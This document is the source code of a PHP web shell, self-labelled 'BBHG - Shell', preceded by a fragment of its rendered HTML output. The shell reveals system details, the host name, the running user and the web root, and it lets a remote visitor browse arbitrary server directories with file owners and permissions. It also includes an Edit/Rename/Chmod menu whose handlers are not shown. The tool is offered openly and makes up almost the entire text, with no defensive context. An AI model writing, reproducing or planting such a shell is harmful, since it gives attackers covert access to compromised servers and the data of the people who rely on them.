    <td>0.00B</td>
    <td>root / root</td>
    <th style="color:red;">-rw-r--r--</th>
    <td>2023-02-12 20:27:58</td>
    <td><form action="" method="post"><select name="option" style="width:100%" onchange="this.form.submit()">
  <option style="width:100%">Option</option>
    <option style="width:100%">Edit</option>
  <option style="width:100%">Rename</option>
  <option style="width:100%">Chmod</option>
</select></form></td>
  </tr></tbody></table>
  </center>

</body></html>

Original PHP code

<?php
//error_reporting(0);
//PHP Web Shell Coded By BBHG
//Here are functions
if(isset($_GET['dir']) && !empty($_GET['dir'])){
$path = $_GET['dir'];
}else{
$path = getcwd();
}
function logged_in(){
if(function_exists('posix_getpwuid')){
$userInfo = posix_getpwuid(posix_getuid());
$user = $userInfo['name'];
}else{
  $user = "";
}
$groupInfo = posix_getgrgid(posix_getgid());
$group = $groupInfo = $groupInfo['name'];
return $user. '<font style="color: yellow;"><b> / </b></font>' .$group;
}
function uname($type){
    $release_info["os_name"] = php_uname('s');
    $release_info["uname_version_info"] = php_uname('v');                 $release_info["machine_type"] = php_uname('m');
    $release_info["php_uname"] = php_uname();
    $release_info["host"] = php_uname('n');
    $release_info["kernal"] = php_uname('r');
    $release_info["version"] = php_uname('v');
return $release_info[$type];
}
function get_owner ($filename) {
if(function_exists('posix_getpwuid')){
$user = posix_getpwuid(fileowner($filename));
}else{
  $user = "";
}
$group = posix_getgrgid(fileowner($filename));
return $user['name']. ' / ' .$group['name'];
}
function human_readable($bytes, $decimals = 2){
    $size = array('B','kB','MB','GB','TB','PB','EB','ZB','YB');
    $factor = floor((strlen($bytes) - 1) / 3);
    return sprintf("%.{$decimals}f", $bytes / pow(1024, $factor)) . @$size[$factor];
}
function perm($file){
$perms = fileperms($file);

if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}

// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));

return $info;
}
?>
<!DOCTYPE HTML>
<html lang="en-US">
<head>
<title>BBHG - Shell</title>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=0.2" />
</head>
<style>
body {
  color: white;
  font-size: 22px;
padding: 0;
  margin: 0;
}
table, th, td {
  border: 5px #333399 dotted;
  text-align: center;
 
}
a {
  text-decoration: none;
  color: ;
}
</style>
<body bgcolor="black">
<h2>System Information</h2>
<b style="color: #90EE90;">Uname : </b><font style="font-size: 21px;"><?php echo ((uname('php_uname')) ? uname('php_uname'). '</font>' : '<font style="color: red;">Couldn\'t Detect</font>' ); ?>


<br>
<b style="color: #90EE90;">Host Name : </b><?php echo (((uname('host'))) ? uname('host') : '<font style="color: red;">Couldn\'t Detect</font>' ); ?>
<br><b style="color: #90EE90;">User / Group : </b><?php echo (((logged_in())) ? logged_in() : '<font style="color: red;">Couldn\'t Detect</font>' ); ?>
<br><b style="color: #90EE90;">Web Root : </b><font style="font-size: 25px;"><?php echo ((($_SERVER["DOCUMENT_ROOT"])) ? $_SERVER["DOCUMENT_ROOT"]. '</font>' : '<font style="color: red;">Couldn\'t Detect</font>' ); ?>
<center>
  
PATH : [ <font style="font-size: 20.2px;"><?php
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);

foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '<a style="color: red;" href="?dir=/">/</a>';
continue;
}
if($pat == '') continue;
echo '<a style="color: green;" href="?dir=';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo '/';
}
echo '">'.htmlspecialchars($pat).'</a><font style="color: red">/</font>';
}
?>]<br>[ <a style="color: yellow;" href="<?php echo htmlspecialchars(basename($_SERVER['PHP_SELF'])); ?>">Home</a> ]</font>
<?php
if(!is_dir($path)){
echo "</table><h3><font style='color: red'>" .htmlspecialchars($path). " </font>isn't a directory";
  exit();
}
?>
<table style="width:100%; font-size: 28px;">
  <tr>
    <th>Name</th>
    <th>Size</th>
    <th>Owner / Group</th>
    <th>Permission</th>
    <th>Modify</th>
    <th>Option</th>
  </tr>
<?php
if(!is_dir($path) || !is_readable($path)){
  echo "</table><h3>Can't Open <font style='color: red'>" .htmlspecialchars($path). " </font>Permission Denied";
  exit();
}
$scandir=scandir($path);
foreach($scandir as $dir){
$fullpath = $path. '/' .$dir;
$name = $dir;
$fcolor = 'white';
if($dir == "."){
  $fullpath = $path;
}
if($dir == ".."){
  $fullpath=dirname($path);
}
if(is_dir($fullpath)){
  $name = '[' .$dir. ']';
  $fcolor = 'green';
}
if(is_readable($fullpath)){
  $color = "green";
}
if(is_writeable($fullpath)){
$color = "yellow";
}else{
$color = "red";
}
$perm = perm($fullpath);
$size = human_readable(filesize($fullpath));
$dir_list='';
$file_list='';
echo '<tr>
   <td style="text-align: left; width:50px;"><a style="color: '.$fcolor. ';" href="?dir=' .htmlspecialchars($fullpath). '">' .htmlspecialchars($name). '</td></a>
    <td>' .$size. '</td>
    <td>' .get_owner($fullpath). '</td>
    <th style="color:' .$color. ';">' .$perm. '</th>
    <td>' .date("Y-m-d H:i:s",filemtime($fullpath)). '</td>
    <td><form action="" method="post"><select name="option" style="width:100%" onchange="this.form.submit()">
  <option style="width:100%">Option</option>
    <option style="width:100%">Edit</option>
  <option style="width:100%">Rename</option>
  <option style="width:100%">Chmod</option>
</select></form></td>
  </tr>';
}
?>
</table>
  </center>
</body>
</html>